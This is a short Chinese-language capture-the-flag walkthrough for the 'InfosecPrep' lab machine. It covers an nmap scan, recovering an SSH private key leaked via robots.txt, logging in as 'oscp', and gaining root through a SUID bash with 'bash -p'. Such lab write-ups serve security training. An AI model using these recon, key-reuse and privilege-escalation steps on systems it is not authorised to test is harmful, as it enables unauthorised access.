# PG-InfosecPrep ## Step.1 掃描 先用 `nmap` 掃描一下 ```bash= nmap -T4 192.168.111.89 ``` ``` PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 5902/tcp filtered vnc-2 ``` 看到 `robots.txt` 有個路徑  進到 `serect.txt` 發現有一串 hash  解密後有一串 `ssh_key` 私鑰 ## Step.2 Exploit ### local flag 根據網頁提示,使用 user 帳號 `oscp` 登入 ssh  ```bash= ssh -i id_rsa oscp@192.168.111.89 ``` 結果出現這個警告 ``` @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: UNPROTECTED PRIVATE KEY FILE! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Permissions 0664 for 'id_rsa' are too open. It is required that your private key files are NOT accessible by others. This private key will be ignored. Load key "id_rsa": bad permissions oscp@192.168.111.89: Permission denied (publickey). ``` 用 `ls -l` 查看檔案權限 ``` -rw-rw-r-- 1 fearnot fearnot 2637 Oct 11 06:15 id_rsa ``` 發現原因是權限太低,把權限調高 ```bash= chmod 600 id_rsa ``` 成功登入就可以得到 local flag  ### root flag 一樣試著尋找具有 `SUID` 的指令 ```bash= find / -perm /4000 2>/dev/null ``` 找到 `bash` 指令 ``` /usr/bin/bash ``` 使用 `bash -p` 開啟特權 bash 就可以找到 root flag 了 
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up